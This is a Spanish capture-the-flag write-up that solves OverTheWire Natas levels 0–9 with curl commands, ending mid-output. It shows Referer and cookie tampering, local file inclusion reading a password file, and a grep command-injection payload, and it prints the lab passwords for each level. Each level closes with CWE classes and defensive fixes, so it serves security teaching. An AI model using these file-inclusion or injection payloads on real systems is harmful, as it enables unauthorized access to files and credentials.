Over The Wire - Natas
Resolución de todos los niveles de Natas en Over The Wire

Natas Level 0
Al abrir el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales proporcionadas.
curl http://natas0.natas.labs.overthewire.org/ --user natas0:natas0
El código fuente del sitio web nos muestra el password para el siguiente nivel.
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas0", "pass": "natas0" };</script></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.
<!--The password for natas1 is scfWG6qNEIdzqVyfRwEGXyNUfFZkZeQ7 -->
</div>
</body>
</html>
scfWG6qNEIdzqVyfRwEGXyNUfFZkZeQ7
Esta vulnerabilidad se puede clasificar como CWE-615 Inclusion of Sensitive Information in Source Code Comments inclusión de información sensible en los comentarios del código fuente
- Eliminar comentarios orientados a la depuración antes de subir el sitio a un entorno de producción.
Natas Level 0 → Level 1
Al abrir el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas1.natas.labs.overthewire.org/ --user natas1:scfWG6qNEIdzqVyfRwEGXyNUfFZkZeQ7
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas1", "pass": "scfWG6qNEIdzqVyfRwEGXyNUfFZkZeQ7" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!
<!--The password for natas2 is vsDOxoXyq3wckCP1ZmTZ71ngIA606odB -->
</div>
</body>
</html>
Al acceder al sitio web se indica que se puede obtener el password en el sitio pero que el click derecho está bloqueado. Usando curl podemos acceder al código fuente y ver el password para el siguiente nivel.
vsDOxoXyq3wckCP1ZmTZ71ngIA606odB
Esta vulnerabilidad se puede clasificar como CWE-615 Inclusion of Sensitive Information in Source Code Comments inclusión de información sensible en los comentarios del código fuente
- Eliminar comentarios orientados a la depuración antes de subir el sitio a un entorno de producción.
Natas Level 1 → Level 2
Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas2.natas.labs.overthewire.org/ --user natas2:vsDOxoXyq3wckCP1ZmTZ71ngIA606odB
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas2", "pass": "vsDOxoXyq3wckCP1ZmTZ71ngIA606odB" };</script></head>
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>
El código fuente muestra la ruta files/pixel.png perteneciente a una imagen. Accedemos a la ruta files para ver si se listan más archivos.
curl -L http://natas2.natas.labs.overthewire.org/files --user natas2:vsDOxoXyq3wckCP1ZmTZ71ngIA606odB
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Index of /files</title>
</head>
<body>
<h1>Index of /files</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="pixel.png">pixel.png</a></td><td align="right">2026-06-24 14:52 </td><td align="right">303 </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="users.txt">users.txt</a></td><td align="right">2026-06-24 14:52 </td><td align="right">145 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.66 (Ubuntu) Server at natas2.natas.labs.overthewire.org Port 80</address>
</body></html>
Vemos que se lista un archivo users.txt conteniendo usuarios y contraseñas en el que se incluye el password para el próximo nivel.
curl -L http://natas2.natas.labs.overthewire.org/files/users.txt --user natas2:vsDOxoXyq3wckCP1ZmTZ71ngIA606odB
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:K30JrSRHzjxq3paUQuwozY4MNvmNFyhI
eve:zo4mJWyNj2
mallory:9urtcpzBmH
K30JrSRHzjxq3paUQuwozY4MNvmNFyhI
Esta vulnerabilidad se puede clasificar como CWE-548 Exposure of Information Through Directory Listing exposición de información a través de listados en directorios
- Deshabilitar el listado automático de directorios en el servidor web para que devuelva un error (como 403 Forbidden) en lugar de mostrar los archivos.
- Colocar un archivo vacío llamado
index.htmloindex.phpen los directorios públicos para que el servidor cargue esa página en blanco por defecto. - Restringir el acceso a carpetas sensibles (/uploads, /images) mediante reglas de firewall o políticas de la aplicación.
Natas Level 2 → Level 3
Al intentar visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas3.natas.labs.overthewire.org/ --user natas3:K30JrSRHzjxq3paUQuwozY4MNvmNFyhI
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas3", "pass": "K30JrSRHzjxq3paUQuwozY4MNvmNFyhI" };</script></head>
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
</body></html>
La web indica que no hay nada en la página y el código fuente que no hay información filtrada y ni con Google vamos a encontrarla esta vez.
El archivo robots.txt funciona como un manual de instrucciones que indica a los bots de los motores de búsqueda qué páginas o carpetas de una web pueden rastrear y cuáles deben ignorar.
Al revisar el archivo robots.txt encontramos un directorio llamado s3cr3t.
curl http://natas3.natas.labs.overthewire.org/robots.txt --user natas3:K30JrSRHzjxq3paUQuwozY4MNvmNFyhI
User-agent: *
Disallow: /s3cr3t/
Al navegar el directorio s3cr3t encontrado listamos su contenido y encontramos un archivo users.txt.
curl http://natas3.natas.labs.overthewire.org/s3cr3t/ --user natas3:K30JrSRHzjxq3paUQuwozY4MNvmNFyhI
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Index of /s3cr3t</title>
</head>
<body>
<h1>Index of /s3cr3t</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="users.txt">users.txt</a></td><td align="right">2026-06-24 14:52 </td><td align="right"> 40 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.66 (Ubuntu) Server at natas3.natas.labs.overthewire.org Port 80</address>
</body></html>
El archivo users.txt contiene el password para el siguiente nivel.
curl http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt --user natas3:K30JrSRHzjxq3paUQuwozY4MNvmNFyhI
natas4:JDrPnuZAKyl6MkiqQGFIddrqpvgOASth
JDrPnuZAKyl6MkiqQGFIddrqpvgOASth
Cuando un archivo robots.txt expone rutas privadas o directorios internos de un sitio web, la vulnerabilidad se puede clasificar como CWE-200 Exposure of Sensitive Information to an Unauthorized Actor exposición de información sensible a un agente no autorizado.
- Eliminar referencias a endpoints privados.
- Bloquear todos los bots por defecto y permitir solo rastreadores específicos y necesarios.
- Utilizar un firewall de aplicaciones web (WAF) o un servicio de gestión de bots como Cloudflare para bloquear o limitar la velocidad de los user agents maliciosos a nivel de red.
Natas Level 3 → Level 4
Al navegar al sitio web nos encontramos que nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas4.natas.labs.overthewire.org/index.php --user natas4:JDrPnuZAKyl6MkiqQGFIddrqpvgOASth
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "JDrPnuZAKyl6MkiqQGFIddrqpvgOASth" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>
La web muestra que los usuarios autorizados deben venir solo de http://natas5.natas.labs.overthewire.org/. Para lograr eso modificamos el header referer que indica la URL de la página web previa desde la que el usuario llegó a la página actual o solicitó un recurso.
curl -e http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org/index.php --user natas4:JDrPnuZAKyl6MkiqQGFIddrqpvgOASth
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "JDrPnuZAKyl6MkiqQGFIddrqpvgOASth" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">
Access granted. The password for natas5 is e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>
Modificando el header referer obtenemos el password para el siguiente nivel.
e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M
Si el servidor confía ciegamente en el header HTTP (Referer) que el usuario controla por completo se puede producir un Broken Access Control. Esta vulnerabilidad se puede asociar al CWE-293 Using Referer Field for Authentication uso del campo Referer para autenticación.
- En lugar de verificar de dónde viene el usuario, verifica quién es el usuario y si tiene permiso mediante sesiones seguras en el servidor.
Natas Level 4 → Level 5
Al navegar al sitio web nos encontramos que nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas5.natas.labs.overthewire.org/index.php --user natas5:e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas5", "pass": "e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M" };</script></head>
<body>
<h1>natas5</h1>
<div id="content">
Access disallowed. You are not logged in</div>
</body>
</html>
La web indica que el acceso está deshabilitado si no estamos logueados. Verificamos qué headers nos devuelve la respuesta del servidor
curl -I http://natas5.natas.labs.overthewire.org/index.php --user natas5:e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M
HTTP/1.1 200 OK
Date: Sat, 11 Jul 2026 17:32:14 GMT
Server: Apache/2.4.66 (Ubuntu)
Set-Cookie: loggedin=0
Content-Type: text/html; charset=UTF-8
Vemos que hay una cookie loggedin con un valor de 0. Probamos modificarle el valor a 1 para ver si así el servidor cree que estamos logueados.
curl --cookie "loggedin=1" http://natas5.natas.labs.overthewire.org/index.php --user natas5:e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas5", "pass": "e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M" };</script></head>
<body>
<h1>natas5</h1>
<div id="content">
Access granted. The password for natas6 is 7mhjtShJAcld2NYbKHEadnhEwRn2P8VT</div>
</body>
</html>
Nos logueamos modificando la cookie y obtenemos el password para el siguiente nivel.
7mhjtShJAcld2NYbKHEadnhEwRn2P8VT
El servidor web asume incorrectamente que cualquier dato enviado por el navegador (en este caso, la cookie loggedin) es seguro y no se alteró. Al no validar la integridad de la cookie ni mantener el estado de la sesión en el lado del servidor, un atacante puede simplemente modificar el valor a 1 para engañar a la aplicación. Esta vulnerabilidad se puede asociar al CWE-565 Reliance on Cookies without Validation and Integrity Checking confianza en cookies sin validación ni verificación de integridad.
- En lugar de almacenar el estado de autenticación directamente en una cookie legible y modificable por el usuario, se debe utilizar un mecanismo de sesión en el servido.
- Si por arquitectura no se desea almacenar sesiones en el servidor (arquitectura stateless), se deben utilizar tokens firmados como los JSON Web Tokens (JWT).
- Para proteger las cookies de sesión contra otros ataques (como robo por XSS o interceptación de tráfico), siempre deben configurarse con las siguientes banderas:
Secure,HttpOnlyySameSite=StrictoLax.
Natas Level 5 → Level 6
Al visitar el sitio web vemos que nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas6.natas.labs.overthewire.org/ --user natas6:7mhjtShJAcld2NYbKHEadnhEwRn2P8VT
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas6", "pass": "7mhjtShJAcld2NYbKHEadnhEwRn2P8VT" };</script></head>
<body>
<h1>natas6</h1>
<div id="content">
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
En la web nos indica que tenemos que ingresar un secret y nos proporciona un link al código fuente. Visitamos el link proporcionado y nos encontramos el código del backend que incluye un archivo includes/secret.inc.
http://natas6.natas.labs.overthewire.org/index-source.html
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
Visitamos la ruta del archivo includes/secret.inc y nos encontramos con el secreto que se requiere.
curl http://natas6.natas.labs.overthewire.org/includes/secret.inc --user natas6:7mhjtShJAcld2NYbKHEadnhEwRn2P8VT
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
Enviamos el secret en el form y obtenemos el password para el siguiente nivel.
curl -X POST http://natas6.natas.labs.overthewire.org/ --user natas6:7mhjtShJAcld2NYbKHEadnhEwRn2P8VT -d
"secret=FOEIUWGHFEEUHOFUOIU" -d "submit=Submit Query"
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas6", "pass": "7mhjtShJAcld2NYbKHEadnhEwRn2P8VT" };</script></head>
<body>
<h1>natas6</h1>
<div id="content">
Access granted. The password for natas7 is B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0
Se trata de una vulnerabilidad de Information Disclosure (exposición de datos sensibles) debido a la presencia de un archivo de configuración (secret.inc) dentro del Web Root (directorio público del servidor). Como el servidor web no está configurado para realizar el server-side parsing de archivos con extensión .inc, los sirve como texto plano, lo que permite a un atacante realizar un source code disclosure y leer credenciales críticas directamente a través de una petición HTTP. Esta vulnerabilidad se puede asociar con CWE-552 Files or Directories Accessible to External Parties el servidor web permite el acceso directo a recursos que deberían ser privados, CWE-538 Insertion of Sensitive Information into Externally-Accessible File guardar credenciales o secretos en un archivo accesible desde el exterior y CWE-200 Exposure of Sensitive Information to an Unauthorized Actor revelar información confidencial a actores no autorizados.
- Almacenar todos los inclusion files y archivos de configuración en un directorio superior no accesible vía URL.
- Cambiar la extensión de
.inca.php. De esta forma, si alguien intenta acceder directamente, el código se ejecutará en el servidor y mostrará una página en blanco en lugar de revelar el código fuente. - Configurar el servidor web (usando reglas en
.htaccesspara Apache o bloques location en Nginx) para denegar explícitamente el acceso HTTP a directorios de soporte comoincludes/.
Natas Level 6 → Level 7
Al navegar al sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas7.natas.labs.overthewire.org/ --user natas7:B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas7", "pass": "B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0" };</script></head>
<body>
<h1>natas7</h1>
<div id="content">
<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>
La web muestra dos links, uno a home y otro a about, ambos se crean con la base http://natas7.natas.labs.overthewire.org/index.php?page=. También muestra un comentario como pista de donde se encuentra el password para el siguiente nivel. En vez de ingresar home o about al parámetro page, probamos ingresando la ruta donde se guarda el password del siguiente nivel y lo obtenemos.
curl http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 --user natas7:B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas7", "pass": "B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0" };</script></head>
<body>
<h1>natas7</h1>
<div id="content">
<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>
ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc
Se trata de un fallo de Local File Inclusion (LFI) (inclusión de archivos locales). La aplicación web toma el valor del parámetro page provisto por el usuario y lo pasa directamente a una función de lectura o inclusión de archivos (como include() o require() en PHP) sin realizar ningún tipo de input validation o sanitization. Esto permite a un atacante abusar del flujo para realizar un directory traversal o cargar directamente archivos arbitrarios del sistema de archivos local (como /etc/natas_webpass/natas8).
- Validar el parámetro contra una lista estricta de valores permitidos en el código (por ejemplo, si page no es exactamente “home” o “about”, se rechaza la petición).
- No pasar parámetros de la query directamente a funciones del sistema de archivos. Es mejor asociar cada página a un ID interno o índice numérico seguro.
- Utilizar funciones de sanitización que limpien y extraigan solo el nombre del archivo (como basename() en PHP) para prevenir el uso de rutas absolutas o el uso de secuencias de retroceso de directorio como
../.
Natas Level 7 → Level 8
Al navegar al sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl -X POST http://natas8.natas.labs.overthewire.org/ --user natas8:ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
El sitio web muestra un formulario que pide ingresar un secret y proporciona un link al código fuente. El código fuente muestra como se ofusca el secret. Tenemos que hacer el método inverso para obtener el secret y enviarlo en el formulario.
http://natas8.natas.labs.overthewire.org/index-source.html
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
Desde la terminal con PHP podemos hacer el método inverso al que se realiza en la función encodeSecret y obtenemos el secret.
php -r 'echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362"))) . "\n";'
oubWYf2kBq
Enviamos el secret en el formulario.
curl -X POST http://natas8.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 --user
natas8:ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc -d 'secret=oubWYf2kBq' -d 'submit=Submit Query'
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">
Access granted. The password for natas9 is UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Obtenemos el password para el próximo nivel.
UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9
Se trata de un fallo de Security through Obscurity (seguridad a través de la oscuridad) y el uso de Symmetric Cryptography/Encoding reversible en el lado del cliente. El desarrollador intentó proteger un secreto utilizando funciones de encoding y manipulación de strings (base64_encode, strrev, bin2hex) en lugar de emplear un algoritmo de hashing criptográfico unidireccional seguro (como SHA-256 o bcrypt). Al ser un proceso completamente reversible, cualquier atacante con acceso al código fuente puede realizar la ingeniería inversa del algoritmo para revelar el secreto original.
- Para validar secretos o contraseñas, nunca se deben usar métodos reversibles. El secreto debe guardarse en el servidor como un hash seguro (por ejemplo, utilizando
password_hash()en PHP conbcryptoArgon2). La validación se hace comparando los hashes mediantepassword_verify(). - No almacenar credenciales o secretos directamente (hardcoded) en el código de la aplicación. Estos deben guardarse de forma segura en variables de entorno o archivos de configuración protegidos fuera del alcance de los usuarios finales.
Natas Level 8 → Level 9
Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl 'http://natas9.natas.labs.overthewire.org/?needle=&submit=Search' --user natas9:UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
El sitio web muestra un formulario de búsqueda y un link al código fuente que controla el formulario de búsqueda.
http://natas9.natas.labs.overthewire.org/index-source.html
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
El código fuente muestra que la variable key guarda el input del usuario y lo utiliza para ejecutar el comando grep.
La web GTFOBins muestra como se puede aprovechar la lectura de archivos a través del comando grep. Leemos el archivo que contiene el password del siguiente nivel.
curl -s -G --data-urlencode 'needle="" /etc/natas_webpass/natas10' -d "submit=Search" 'http://natas9.natas.labs.overthewire.org/' --user natas9:UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9 | head -n 25
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
